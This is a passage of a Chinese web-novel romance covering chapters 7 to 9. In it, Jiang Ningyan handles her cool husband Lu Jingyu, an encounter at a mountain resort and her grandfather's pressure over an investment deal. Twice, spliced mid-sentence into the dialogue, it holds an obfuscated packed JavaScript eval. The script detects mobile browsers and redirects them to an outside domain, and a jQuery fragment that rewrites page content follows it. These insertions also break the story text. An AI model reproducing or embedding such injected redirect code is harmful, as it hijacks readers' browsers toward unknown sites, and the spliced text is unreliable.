“有多可怕?会怎么样?” 陆京御的呼吸变得绵长,也不说话,有那么一瞬间江凝烟以为他睡着了。 但他忽地动了一下,捏住她的后颈,拉开她,两人的眼神近距离对视,他幽暗的眼底,玫瑰的热烈和雪松的冷凝在碰撞,语调冷酷极了,说:“你猜呢?” 可江凝烟拥有一双洞察力极强的眼睛,心尖猛地一颤,兴奋了,因为她清晰地看到他眼底火热的玫瑰色铺满冷冽的冰眸,如火一般蔓延,炽热,绮丽,暴烈。 7. 运动 江凝烟觉得那眼神简直是在直白地告诉她,胆子放大,不要害怕。 她抱住了他的脖子,“那我觉得你尽量还是别生气。你生气把我吓坏了,你还得花功夫哄我。多累啊。” 陆京御呵了一声,舌尖顶了下腮帮,把她拉开,“江凝烟,你本事真大,知道什么本事大吗?” 已读乱回的本事特别大。 陆京御这话被塞进了嘴里。 江凝烟笑得天花乱坠,伸手捂住他的嘴,“别说,不是好话我就不要听。” “哥。”她不让他说,但她自己叭叭叭说个不停,“你太不懂姑娘了,哪有人刚认识,就谈一辈子的。那些条款不过是我给自己留的后路,我想跟你试试看,但我也会害怕被你欺负啊。” 陆京御的眼眸眯起,审视她。 江凝烟继续劝说:“你现在不能把我当老婆,你得把我当准女朋友。哪有刚准备谈女朋友,就让她一定要嫁给他跟他过一辈子的?” 她振振有词。 陆京御将她的手拉下来,漆黑的眸子盯着她,啧了一声,“忽悠我你良心不痛吗?” 江凝烟:“。” “我真没忽悠你,真结婚的夫妻一年离婚的概率也很大啊,谁能保证一年以后怎么样?快乐当下?” 陆京御唇畔勾起抹若有似无的讥笑,手指伸到她下颚边缘轻轻往下探,将几缕黏住脖子的发丝撩了撩,拨到肩上披着,才缓缓哑声道:“那我们当下不都挺快乐的?你在着急什么?” 江凝烟:“……” 发丝摩擦肌肤像是火柴滑过,点在皮肤上,他分明很会,就是不给她快乐。 他们当下哪儿快乐了啊? 她昨天半夜吃不到郁闷到睡着好吗? 她当然、着急! 灯下的陆京御发丝乌黑如墨,醉酒后颊边发红,眼眸迷离又晶亮,口齿很清晰,但声音带着散漫的调儿,“还是,哥哪儿让你不快乐了?” 江凝烟:“……” 你说呢? 没有体会到一点快乐。 哪哪都不快乐。 这时,院子外有一辆货车停下,货车的灯光照亮了院子。 江凝烟从陆京御腿上跳下来,“应该是我的东西。” “买了东西?”陆京御问。 “我搬点东西过来啊。”江凝烟在灯下转身,眼睛亮晶晶地朝他眨了下,“我要在这儿驻扎。” 江凝烟让李佳盈帮忙寄了一书架的书来,以后晚上她要在这儿工作。 说完,她就乐颠颠地跑去签收,留陆京御怔在那。 “夫人,这书放哪儿?书房还是主卧?” 江凝烟:“放次卧吧。” 帮忙的管家他们搬了几箱子书走在前面。 陆京御的目光循过来,江凝烟知道他在想什么。 陆京御果然问道:“搬这么多书做什么?就一年,你看得完?” 整整好几箱子,得有几百本书。就算一周看一本,也看不了那么多。 江凝烟笑眯眯地说:“一年看不完就接着看呗,两年,三年,四年……” 她不再接着说下去,深深地望了他一眼,撩完就跑,快步跟上管家。 - 江凝烟的次卧也很大,有套卫,有书桌,有书架,她想或许陆京御是考虑到他们俩不熟不会一开始就同房,所以给她准备的,家具偏女性化,色彩都是象牙白的。 “我自己来放吧?你去休息会。也不用找人帮忙,我自己的东西自己理。”江凝烟把陆京御打发走。 陆京御说:“那我去洗澡了。” 江凝烟点点头笑道:“等我理完找你。” 陆京御长身微俯,眼神带了一丝丝警告,“我要,睡、觉、了。” “嘭——”他的房门关上。 江凝烟皱皱鼻。 太难搞了。 油盐不进啊这哥。 她进屋,蹲在房间里把书从箱子里掏出来,放到书架上。她打算晚上都在这儿工作,具体在这儿待多久她也没想好,反正目前还挺想待在这儿的。 屋里的书架还算大,刚好能放下她最近要看的书。 就是书架是落地整面柜,最上面的那行需要椅子才能放上,房间里的椅子是滚轮的。 她只好下楼吭哧吭哧去搬了个椅子上来,踩在上面,将一叠厚厚的书放到最上面那列。 忽然,手机响了。 江凝烟一边塞着书,一边瞟了眼手机。 屏幕上显示“爷爷”这两个字。 “哐当——”她手中的书没塞好,从手中滑落,砸在地上。 她一回神,从椅子上下来,坐在椅子上,声音热情地道:“喂?爷爷,找我什么事啊?” 电话那边的江立林笑声爽朗,说:“上次让你回家吃饭,你说你在写论文,最近写完了没?” “还没写完,啊,爷爷,我头都写秃了。”江凝烟笑着说。 江立林哈哈笑道:“你给自个儿这么大压力做什么?江家的大小姐,赵家的外孙女,陆家的儿媳妇,怎么过都过不差,别把自己搞秃头搞沧桑了啊,等会新郎官不喜欢了。” 江凝烟笑了一下,“娶到我,他乐着呢。” 要秃也是他秃。 江立林道:“那就好,你幸福就好。最近不得空回家吃饭?” “真没时间,我挂了太丢脸。” 江立林埋怨了一下京大,“就读个书把人折腾得这么累做什么?” “人才济济啊爷爷,就算是万里挑一的人才,在中国可以挑出十四万来,而这些人很多在京大。” “那爷爷电话里跟你说个事啊。” “您说。” “我那优秀的孙女婿搞了个项目,爷爷非常看好,想投一些,但是,陆家好像准备独立搞,没准备在这阶段要融资。爷爷是觉得你看我们两家这么有缘都亲家了,合作个项目不是更亲上加亲吗?” 江凝烟眉心一拧,声音倒是听不出什么,“什么项目啊?” “一种更耐用更安全的新电池。能解决电动车最大的续航问题。” “能续航多久?” “跟原来不是一个量级的,非常厉害。” “您打算投多少啊?” “我们江家想投一百亿。” “知道他们陆家总预算投资多少吗?” “两百亿。” 江凝烟笑笑,语气十分怀疑道:“真能做成吗?他也才二十八岁,虽然出身高地位高,但到底年轻啊。不会害您亏本吗?这要是害您亏本,我都没脸来见您了。” 江立林啧了一声,“我的乖孙女啊,你姥爷让你嫁给他,你居然对他一无所知?这种话你可别在陆家说。你是不知道陆京御有多能耐,从小就聪明,14岁进的清大少年班,23岁清大博士毕业了,在校期间不光把博士念了,还自己搞项目,找融资,搞成了之后卖了套现了三百亿。这几年他又自己搞了个项目,又赚了好几百亿。他爸爸还跟我显摆,说陆京御娶你全是自己攒的老婆本。最近他是觉得自己手已经练熟了,要搞大的。这个新项目绝对有潜力,说不定就是个万亿企业。” 江凝烟挠挠眉梢。 这么厉害啊。 这么厉害叫她怎么收场? 江凝烟淡笑,甜甜地道:“您跟陆家提过吗?” “提过了。我孙女婿是不是跟你感情也一般啊?不肯一起合作啊。”江立林叹息道。 这问题江凝烟没法回答,要是说陆京御跟她感情一般,江家以后就会对她轻视几分。虽然她不在意他们怎么看,但她在意他们耍花招不给钱。 江凝烟问他:“他没答应的理由是什么呢?” 江立林拍了下沙发扶手,说:“他是好话说尽,说什么他赚的以后都是你们小夫妻俩的,让我安享晚年,不用一把年纪了还煞费苦心帮你攒家底为你操心。他以后会照顾好我,还会照顾好你。” 江凝烟差点没忍住笑,憋得脸蛋都疼了,揉了好几下腮帮。 陆京御这话也说得,也太高明了。 他默认江立林除了要还给她她爸爸当年的股权价值外,江立林的财产她也有继承权,直接点出江立林这亲爷爷是在为她攒家底。他陆京御的好处是一点不让占的,还要道德绑架别人。 陆京御确实挺能耐。 江立林深深地叹了口气,“光说好话有什么用呢?这不是敷衍我们江家吗?真对你好这种好机会就该让江家一起参与,江家的以后你也有份。” 江凝烟笑,“江家的我也有份?还是爷爷你对我好。” “那当然了,我们才是真正的一家人啊。”江立林说,“婚姻是最不牢靠的东西了,结婚证就是一张废纸而已,离婚也是简单的事,男人啊,都是嘴上说得好听,怎么样在关系好的时候多给自己争取点利益,用来以后傍身,才是最聪明的选择。” 江凝烟觉得她爷爷说得对,但并不适用于她,她不要别人的东西,她只要她该有的东西,“那当然了,我永远是江家的人,永远是爷爷长子的唯一血脉,爷爷还打算给我多少?” 江立林说:“具体你什么时候空了来家里说。快过生日了吧?爷爷给你准备好生日礼物了,一顶红宝石皇冠,给我们家小公主。” 江凝烟莫名想起江家老宅紫檀围屏上镌刻着的仙鹤,羽毛雪白独立枝头,头顶镶嵌着珍贵的红宝石,看起来神圣高洁,其实不过是个可怜东西,是个寸步难行的死物,给人提供点观赏价值罢了。 “谢谢爷爷。”江凝烟笑着说,“我问问他给您答复吧。” 挂掉电话,她表情倏地转冷,将手机随便一抛,丢到床上。 今晚没兴致撩陆京御了。 她可以为了自己的欲望去撩拨陆京御,但不愿意为了满足别人的欲望去撩拨陆京御。 两百亿里面他要投一百亿,她要是真有能耐让陆京御送她钱,那一百亿她自己出不香吗? 姥爷在的时候,他们深知姥爷的底线,不敢太过。 这次,一张口一百亿投人家新项目,是在试探陆京御的底线? 陆京御肯定是会拒绝的,最后压力都会堆在她这边,可是,她不会放弃她的钱的,虽然她的兴趣并不在生意上,但人不能随便舍掉自己的钱,就跟狮子不能丢地盘一样。 没能守护好自己的东西的人,在这个弱肉强食的世界,就像是没骨头的人,谁都能来啃两把,咬两口。 尤其她怀璧其罪。 那天晚上,江凝烟失眠了,脑子一直在想怎么样推脱这件事。 后半夜好不容易入睡的时候,做了个噩梦。 梦见自己不会走,像是被定住了,对面的狮子在一步一步逼近她,张开血盆大口,狰 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江凝烟抬脚,走进自己房间。她没再睡觉,直接打开电脑,从黑暗到屏幕的光,眼睛刺得受不了,刺得一度泪流不止,擦擦眼泪,缓了好久,才开始写文。 早上吃早饭的时候,因为一夜没睡好,她拿她的特大号咖啡杯去装咖啡。 陆京御理着他的法式叠袖的袖扣下楼,下楼便看见她用特别大的杯子在接咖啡,人靠在咖啡机边上快睡着了,像棵蔫掉的豆芽,连连打了几个哈欠。 陆京御看出她精神不济,把她的咖啡拿走,“困成这样靠咖啡有用?走路都得摔着,回去睡觉。” 她眼睁睁地看着她的咖啡被没收,不满道:“怎么这样?我的咖啡。” 咖啡就是她的续命药,她一天三杯,就像当水喝。 “早上有课?” “倒是没有,但我有事。” “什么事?” “写论文。” 陆京御蹙眉,一听写论文差点被她气笑,“没睡醒吃完饭接着去睡,睡醒了你想喝再喝,论文等睡饱了写。” 面对他爹味十足的管教,江凝烟不说同意也不说不同意,就自然而然地倒进他怀里,搂住他的腰,声音像只蜜蜂在他胸前嗡嗡嗡,“说起来我没睡好都赖你。” 对,就是赖他。 陆京御:“......” 他举着满满的一杯咖啡身体僵住,不能动弹,一动咖啡可能会溢出来,陆京御有点洁癖,会下意识地避免咖啡洒出来弄脏这儿。所以,一时间一动不动任由她抱着。 边上的阿姨从厨房探头出来,看见这小夫妻俩抱着,笑得满面春光,说:“就是啊,先生得注意些,就算夫人能从学校搬出来高兴,也不能太不节制了。” 陆京御:“……” 这位阿姨照顾了他半辈子,打他出生就开始照顾他,说话也不大顾忌。 江凝烟:“……” 要是能调戏陆京御,好像瞬间就不觉得困了。 本来昨晚倒是没兴致调戏,早上看见他这么光鲜亮丽的样子又来了兴致。陆京御的五官和身形都很优秀,再加上他很注意形象,会收拾自己,今天的着装还是昨天那种斯文矜贵霸总范,但仔细看,却是有区别的。西装版型不一样,搭配不一样,今天的衬衫居然不是传统的纽扣,V字开领,脖下露得更多,更性感一些。 他身上像是长满了磁铁,一靠近她她就想贴贴。 她抬起脸,看着陆京御锋利流畅的下颚,眯起眼笑,脸上像是出水芙蓉一般,双颊红艳艳的,笑得贼精怪,接上阿姨的话,“理解理解。” 陆京御睨着她哂笑。 阿姨笑得乐开了花,没想到她随口一句,江凝烟还真搭腔,她心想到底是新时代了,如今的大家闺秀哪怕年纪还轻,谈论起这事也是不扭捏了。 这老阿姨可就真来劲了,大大夸赞江凝烟说:“就夫人这样那么惹人疼爱的,也难怪先生。” 江凝烟在他怀里挑眉,几分挑衅地说:“这次就不怪他了,下次别这样就好。” 阿姨哈哈大笑。 陆京御笑瞪她一眼。 我谢谢你的宽宏大量。 跟人聊这些也不害臊。 他把咖啡搁在吧台上,夹着她的腰,将她抱离地面,放到餐桌边,一本正经地关怀道:“认床?前天不睡得挺好的?” 江凝烟说:“不认床。” 不认床。 她不认床。 他的床她也可以睡。 这三个字听着还挺正常的,但她的眼睛总是盯着他,像是有电波一样,就感觉忽然没那么正常了。 陆京御:“……” 不认床,哪张床都可以睡,是这个意思吧? 江凝烟伸手去探咖啡,被陆京御捏住手腕,“吃完早饭回去睡。论文晚点写,听话。” 江凝烟眼尾翘起,头微微往他那儿偏,看着他笑道:“我其实是脑子动得太厉害了,身体没跟上。” 陆京御:“……” 那这边建议你现在别动脑。 闭嘴。 江凝烟继续说:“就是缺乏运动。” 赖你。 陆京御:“......” 8. 识破 江凝烟今天写作难以集中精神,她爷爷也是个急性子,估计今天就会问她。 她拖,最多拖一两天,明天肯定会问她陆京御同不同意。 这事突然问陆京御,陆京御会不会觉得她这些天向他示好,是为了这件事? 太巧了,确实有可能怀疑。 或者也可以问问陆京御该怎么推辞,表示她是站在他这边的。但如果拒绝了她爷爷,她爷爷以后不分她财产也有理由,陆家说话也不管用了,这可能才是她爷爷的用意。要是能投自然最好,不能投他不给财产也理直气壮。 其实最好的选择是让江家能稍稍入股一点,可以约定在某个适当的时机,比如ABCD中的哪轮,让江家投资点,反正陆京御到后面肯定也需要资金,以此来跟爷爷谈判,让他爷爷提早给她分财产。 但如果,她跟陆京御提出这个请求,稍稍失了分寸,陆京御就可能怀疑她这两天的动机。 最好有个懂商业的局外人,帮她分析一下,提出一个两边都可能接受的方案? 她觉得这是最好的。不然她很容易一不小心两边都得罪。 上哪去找个这样的人? 她思索着朋友圈,都还比较年轻,嫩着呢。 想了半天没想出合适的人,她有些烦躁,索性去地下室剁肉。 每隔段时间,她就会试图试验出一些新的埋尸办法。 剁着剁着,她发现地下室味道不对。是去年用水泥封的猪尸已经开始发臭。她皱了皱鼻,将水泥块搬到推车上,然后,沿着山路往下推。 山下有一口天然的温泉,没有经过人工处理,不能泡没人会泡,冒着一股刺鼻的硫磺味,她想试试看这硫磺的味道能不能遮掩住这个腐烂的尸体的味道。 要是能遮住,温泉这儿有几块水泥台阶,正常到没人会起疑。 她这次的案子是个时间跨度很长的连环杀人案,罪犯纯纯变态,在警方的天罗地网下也不想失去杀人的快乐,那这样,必须设计一个别出心裁的埋尸方法,能让警方很长时间没发现尸体。 “啊啊啊啊啊啊啊——————”一声惨破天际的尖叫声传来耳畔。 江凝烟:“?” 被识破了在埋尸?吓到别人了? “啊啊啊啊啊啊啊——————”这声惨叫声还没结束。 江凝烟抬头。 一个男人从天上掉下来,简直就像要砸到她脑门上。 是有人在蹦极。 啊,对。 这附近有个山庄,娱乐设施很齐全,但是,这儿的蹦极台极高,很少有人有胆子敢体验,所以哪怕她就住在这附近,她也没怎么听到过这么惨烈的叫声。 嗯? 那个人怎么这么眼熟? 宋初霖? 缓缓的,宋初霖来回弹了几下被吊上去了,到了上面,上面有个姑娘站着,两人好像说了几句话。 他忽然被那个姑娘推了下来! 江凝烟:“??????” “啊啊啊啊啊啊啊——————”宋初霖又发出一声撕心裂肺的惨叫。 江凝烟:“!!!!!!!!!” 上面那姑娘是谁?好狠啊!直接又给他推了下去! 回弹的时候,宋初霖这次看见了她。他眼睛好像很不舒服,费力地看着她。 确认是她后,在空中又笑又哭的,朝她挥手,在风中大声呼喊,“江凝烟!!!” “江凝烟!!!” “江凝烟!!!” 山间都回荡着江凝烟的名字,因为他在空中剧烈起伏,声音还带着悠长又高亢的颤音。 Be like:“江凝烟~~~~~~~~” 江凝烟:“……” 宋大才子……有点中二? 宋初霖再被吊上去的时候,大概腿软了,上去直接给那姑娘跪了。 江凝烟看见那姑娘跟她挥了挥手,江凝烟也礼貌地挥手。 没过多久,宋初霖就从山上的小道下来,脸还惨白着,身边跟着一个大美女。 走近了,江凝烟就认识了,是宋枝意。来往不多,但见过。 “你在这儿蹦极啊?” “你在这儿干什么?” 两人几乎同时开口。 宋初霖不可思议地打量穿着正常休闲服,推着像是工地用的推车,出现在这儿的江凝烟。 江凝烟闻了闻这儿的味道,只有温泉的硫磺味,没闻到什么臭味,说:“我在附近有个别墅,看见这儿有温泉,还以为可以泡的,搬了两块垫脚石过来。” “哦。”宋初霖说,“山庄有开发过的,这儿的离山庄远了点,没开发不能泡。” 四个人碰到了,就一起往山上走。 “我帮你推吧。”宋初霖接过江凝烟的推车。 “不用不用。”江凝烟怕这推车可能还有点残留的味熏到宋初霖,离宋初霖远远的。 “不用这么怕我吧?” “没有。” 江凝烟看着宋枝意的背影,想到她姥爷生前让她有事如果陆家没出手,可以找宋枝意。那真是个好姐姐,有担当会照顾人。姥爷也不是直接认识宋枝意,是他门生政法线上的罗瑞华跟宋家关系很好。 当年宋家刚开始做屏幕生意的时候,也是腥风血雨,有人要搞他们家,宋枝意的爸爸找到了罗瑞华主持公道,那时候的罗瑞华也搞不定,罗瑞华就找到了她姥爷,她姥爷随手帮了个忙。帮忙的时候没想到宋家会出个姑娘这么争气。 不过,这一两个月她一直在忙着写新书,没真接触过,没想到今天倒是撞见了。 “你在这儿住?”宋初霖忽然问。 “你经常玩蹦极吗?”江凝烟不回答,反问宋初霖。 “第一次。”宋初霖瞟了她一眼,似若有所思。 “那你怎么还跳两次啊?”江凝烟知道他可能在想什么,打乱他的思绪。她倒是没料到宋初霖会来这山庄玩,而她这一个月都住在附近,好好打听下,山庄里的人不知道她也知道红色法拉利。 宋初霖状似无所谓地笑了笑,风吹乱他的碎发,微微遮住他那双深情眼,依旧能看出眼神闪躲。 他欲盖弥彰道:“刺激呗。” “一次刺激还不够。” “太爽了,上瘾呗。”少年嘴硬。 “那你怎么还让你姐姐把你推下来啊?” 宋初霖爬山的脚步一顿, “江凝烟。” “嗯?” 宋初霖笑得比哭还难看,好似想表现的冷拽冷拽的,表情却依旧透露出一丝可怜,“非得我告诉你我就是说了句‘活着没意思’,被我姐丢下来两次‘死’个痛快吗?” 江凝烟知道这时候笑出来不厚道,绝对不厚道,太不厚道了。 会将她的无情暴露个彻底。 她死死地憋住,瞥过头看外面的风景,山上松涛如海,枫林似火,但是,“噗哈哈哈哈哈哈哈——” 宋初霖:“……” 宋枝意:“……” 山间飘荡着她比松涛还爽朗的笑声。 江凝烟也知道自己这样也太没同情心了,但想起宋初霖掉下来的样子实在太好笑了,真的没忍住。 “哈哈哈哈哈。”江凝烟好不容易收住笑,忍俊不禁地说,“你姐姐好酷哦。” 宋初霖见她笑成这样,唇角微微翘起,也跟着露出微笑,那模样居然像是乐意自己刚才的恐惧和狼狈博她一笑,道:“我真恐高。太狠了。” 走在前面的宋枝意立刻给自己正名,道:“我可不狠。” 她看着江凝烟笑着解释道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698968|157003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我超温柔的。” 江凝烟连连点头:“嗯嗯嗯!” 没看出来。 宋初霖反驳:“你还不狠?推我下来一次还不够,还来两次?” 宋枝意:“给过你一次机会了。自己嘴硬。” 宋初霖被吊上来的时候,她问他,“‘死感’怎么样?” 他倔得要死地说:“爽。” 然后,宋枝意就毫不犹豫地把他又丢下去一次。 “忙得要死还带你出来散心,我还不够温柔?哪想到我牺牲了宝贵的时间,你在那说那话,那真就怪不了我了。”宋枝意说。 江凝烟把推车放回工作室,然后,跟宋枝意说:“姐,借一步说话找你聊点事。” 她想今天这个偶遇来得正好,商场上的事宋枝意比她有经验。 宋初霖眼神瞥过来。 宋枝意说:“好啊。” 江凝烟想把宋初霖打发走,宋初霖没走,就在门口等着。 宋枝意进了她的小院,江凝烟把她遇到的事跟宋枝意说了一下。 “其实如果损害他的利益我就不要爷爷那边的财产了,我只是想找人问问能不能在不伤害陆京御的情况下,给自己也争取点利益。” “听我老公说过这个项目,他想投陆京御都没让他投,他俩从小要好得很。”宋枝意说。 “那怎么办?我爷爷想投。你觉得在哪轮陆京御可能会要投资?” 宋枝意笑笑说:“按照陆家的实力,从头到尾都不要都很正常。” 江凝烟:“……” 老公这么有实力居然让人忧伤。 “之前我老公想投的时候他找人测算过,我回去看看然后给你个方案。” “要多久啊?我爷爷可能比较急。” “那我问一下我老公他手机里还有没有,他发过来的话我马上给你分析分析。”她掏出手机发了个微信。 对方秒回,也没多问什么,直接给她发了过来。 江凝烟内心啧了一声,看来兄弟和老婆还是老婆重要,毫不犹豫的。 忽然有点心疼陆京御了。 顾御洲跟他从小到大,就这? 宋枝意要走之前,看了她一会,忍不住问道:“虽然我很乐意帮你,但你怎么不直接跟陆京御说?” 江凝烟:“……” 因为她最近在勾引他。 宋枝意说:“你可能跟陆京御不熟,他人很好,也很可靠,以前我老公落魄的时候,他还帮了不少忙。是个重情重义的人。你跟他说你有这个困扰,他会帮你处理得很好。” 江凝烟为难地道:“怕他误会我有目的。” 她说这句话,感觉门外的宋初霖一直盯着她们。 但她想她们距离够远,她们声音也不大,他绝对听不见,也就没在意。 宋枝意关心地问:“陆京御最近来我们家都是一个人来,你们相处得不好吗?” 江凝烟想了想要不要跟宋枝意说清楚,不然她会高估她跟陆京御的关系而给出错误的方案。这就像不跟医生说清楚症状,医生容易误诊。 江凝烟说:“跟你说你一定要保密。他很照顾我,但我请他假结婚,已经很帮忙了,不能太过。” 宋枝意不可思议,他们俩居然是这关系,“我有数了,有事随时找我。” 而此时,门外那道视线倏地变得滚烫,烫得不可忽视,江凝烟心里咯噔一下,脑子灵光一闪,猛然觉得这哥该不会会唇语吧?!!! 我嘞个豆! 江凝烟把宋枝意送出去,瞪了眼宋初霖。 门口插兜站着的宋初霖眼神落在她身上,热得发烫,唇角勾起抹灿烂的笑容,“我可没偷听。” 他爹的,真看见了。 你是没偷听,你光明正大读唇语。 9. 对抗 江凝烟洗了个澡香喷喷地去山庄找宋枝意。 她知道为什么宋枝意带宋初霖来这儿散心了。 这山庄是京城混世小魔王裴清誉的,年纪比他们大几岁,但是成天就爱玩,也不继承家业,刚好可以陪宋初霖玩。 宋初霖眼睛都快长她身上了,但身体全程被裴清誉硬控。 她想裴清誉八成是陆京御的小兄弟。因为宋枝意一句“她就是江凝烟,婚礼上见过的吧?”裴清誉就开始全程硬控宋初霖,把他的注意力从她身上拉开。 江凝烟知道宋初霖会唇语之后,跟宋枝意去房间里谈,把门关得死死的。 两人的脑袋凑在一起。 江凝烟看着报告,眼睛放光,“顾总对这项目的预期这么高?” 报告里预期这个项目在五年内市值达到两万亿。 疯了? 这么癫狂? 那投一百亿不是赚翻了? 想得太美了吧? 江凝烟挠挠腮,“那这也太多了,陆京御不会同意我爷爷投。” 宋枝意说:“那就定在上市前,上市后两年市值大概增值二十倍,估计从千亿变成两万亿,上市前让你爷爷投五十亿,也能变成上千亿。然后,让你爷爷先签好协议,得赠予你几百亿,并且不可撤销?具体金额,就需要谈判了。” “让我爷爷投五十亿啊,变成千亿啊,这么多钱,陆京御会愿意?” 按照他陆家前期根本就不差钱的状态,这不就是妥妥地送人上千亿吗? 怎么谈判都是陆京御亏,他干嘛要参与这场谈判? 宋枝意摸摸下巴,“再少,你爷爷可能不心动,给你的也少。” “谢谢姐,我考虑考虑。” “当然,前提也是陆京御打算上市。陆家实在太有钱了,未必上市。” “那不然晚上让陆京御过来吃饭,姐姐姐夫帮我套套话?看看他打不打算上市?” 他要是根本不打算上市,这事也不用提了,万一被他误会破坏他们和谐的关系。 两人出去的时候,宋初霖依旧被裴清誉硬控着,两人在篮球场上打篮球。 宋初霖看见江凝烟路过,上篮途中被裴清誉盖了个帽,裴清誉兴奋得当场唱起了战歌,在球场上狂奔狂舞,他围观的朋友们在为他狂欢。 看来是刚才被虐得不轻终于翻身了。 宋初霖没搭理他们,朝江凝烟跑过来。 阳光晒在他汗湿的额头上,散发着金灿灿的光,穿着一身红白相间的篮球运动服,肩膀很宽,很有少年感,“下午在山庄玩吗?” 宋枝意说:“晚上我要请陆京御来这儿吃饭,你悠着点,别给我惹事。” 宋初霖瞥了她一眼,酷酷地说:“我还未成年?需要监护人负责?” 江凝烟:“……” 她看见宋枝意身侧握紧的颤抖的拳了,要不是人多给他留点面子,依宋枝意的暴脾气估计会一巴掌呼上去。 这哥有时候有点威武不能屈的傲骨在上面。 少年就是少年,天不怕地不怕。 江凝烟感慨,同样是少年,她怎么就活得这么卑微呢?谨小慎微的。 宋初霖像是个理想主义者,这样的人,未来出社会,是要被磋磨的。不过,他背景那么强大,问题不大。 江凝烟笑笑,好言相劝道:“人多,你别害我暴露了。” 宋初霖捞起球衣边边擦了擦额头的汗,两排块状腹肌整齐地排列着,在太阳下发着光。 他温柔地笑起来,眼底都是星星,“你放心。秘密。” 江凝烟:“……” 这个……是在秀肌肉吧? 绝对。 宋枝意没眼看,开始跟她老公打电话,“老公,你晚上早点来啊。我怕陆京御早的话,直接把我弟给剁了。” “哟,为什么我孙女婿要剁你弟弟啊?”一道中气十足又浑厚的声音从不远处的背后传来。 江凝烟脊背忽地一寒。 她从江家搬出来已经有三年了,从上大学开始就理直气壮地搬了出来,好日子过习惯了,导致她如今应付爷爷的能力反倒是逐渐下滑。 宋初霖擦汗的动作顿了一下,那双深邃的眼睛疑惑地注视着她,眉心微拧,放下衣摆。 江凝烟唇角牵起,转身,露出笑容,“爷爷?您怎么在这儿?” 几米之遥,一个老年人精神抖擞满面笑容地朝她走来,边上簇拥着一群人。 “刚好要跟你裴伯伯商量点事,我们来这儿骑马。”江立林笑着道,“怎么我孙女婿要干什么?谁在损害他名誉啊?” 他炯炯有神的眼瞟了眼宋初霖。 宋枝意解释道:“江董,就一个玩笑。闹着玩。” 江立林没追究对江凝烟说:“烟烟刚好,你过来一下,爷爷跟你聊点事。” 太不巧了。 居然会在这儿碰见他。 那事她还没跟陆京御通过气,也不能随便说。 江凝烟说:“那事儿您孙女婿说等他考虑考虑,爷爷您有事先跟裴董去吧,别让人等了。等您孙女婿考虑好了我会跟您说的。” 江立林还挺有老前辈的架子,顶级富豪裴董都压不住他,双手交叉压着那根根本不发挥作用的拐杖,笑道:“裴老弟哪会介意我们祖孙团聚那一会?” 裴董自然说:“我倒是不介意等一会。” 江凝烟知道他这会儿找她不过是给她施压,她笑着对裴董道:“谢谢裴伯伯,我跟爷爷长话短说。” 祖孙两没走远,在山庄的长廊里,江立林说:“怎么说在写论文,结果在这儿偷懒也不回来见爷爷?” “就在山庄里写,边呼吸呼吸新鲜空气。”江凝烟手掬着泉水里的水。 江立林一双如鹰的眸子审视了她一眼,笑着道:“哼,我看你是不想来看我这老人家。” “哪能啊?毕不了业不给您丢脸吗?”江凝烟捞起一汪泉水,一点点从掌心倾泻下去。 “玩水凉不凉啊?手都在发抖。”江立林关怀地道。 “凉。但是好玩。” “幼稚。多大的姑娘了。还喜欢玩水。” “有您在我永远是小孩。” “刚才那男孩子是谁?这眼神看人不清白啊?我孙女婿不吃醋?” “宋枝意的弟弟。他就长那样,全校每个女生都怀疑他爱她。风流得很,谁他都勾搭。”她抬眼看见宋初霖跟宋枝意在不远处,宋初霖靠在廊柱上,曲着一条长腿,环臂看着她,倒是戴了顶鸭舌帽,看不清什么眼神。 江凝烟觉得他内心大概恨不得劈死她吧,给他造这种黄谣。事实上,宋初霖这人比较洁身自好,学校里追他的很多,但没人能搞定。 宋枝意也在看着她,神情放松,很自然地在等她。 “昨天那事儿你务必要帮爷爷办成啊,江家的公司也算是夕阳产业了,要是没有什么好的前景,爷爷也给不了你钱了。最近你叔叔压力也很大,去年做的一个单子,对方在扯皮,我们公司可能要承担巨额赔偿。” 呵。 陆京御还真没猜错。 签了合同还在千方百计想不给钱。 江家的公司也一直没有上市。跟客户串通赔笔钱出去,再回到自己的口袋实在太容易了。 这真的是她姥爷一死就随便捏她这个软柿子了。 “哦?爷爷的意思是要是要承担赔偿,我也得承担责任?” 江立林叹了口气,“恐怕是的。” 江凝烟心蹿到了喉咙口,后背在冒冷汗,玩着泉水的手指也微微颤抖。 她注视着她爷爷,笑着道:“那可不行哦爷爷。要是叔叔没有履行好CEO的职责,害我亏了,他得自掏腰包赔我钱的。爷爷您可不能偏心叔叔。” 江立林没想到江凝烟现在会直接拒绝了。他一直以为江凝烟是很好拿捏的一个孩子,只是她姥爷比较难搞。 没想到姥爷走了之后,居然有胆子直接拒绝他。 他当即蹙眉,浑身的气场从和蔼慈祥立刻发切换成凌厉骇人,但只是泄露了一瞬,硬生生地被他控制住了,“你作为一个江家人不该跟江家同进退?你叔叔这些年这么辛苦还得贴你钱?” 江立林这个气场变化让姿态懒散的宋初霖立刻站直了身体,少年没有犹豫,朝他们走过来。 江凝烟心慌得像是被巨大的蟒蛇缠住,难以遏制地恐惧,但她依旧笑容灿烂,不卑不亢地说:“爷爷。这是在我姥爷生前就约定好的。” 江立林强忍住脾气说:“不是不给你,是倒时候没钱给你了,你还不顾多年养育之恩,告你叔叔不成?” “咚”的一声,他不轻不重地剁了下拐杖。 江凝烟心头猛地一跳。 【还不如让她消失呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698969|157003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 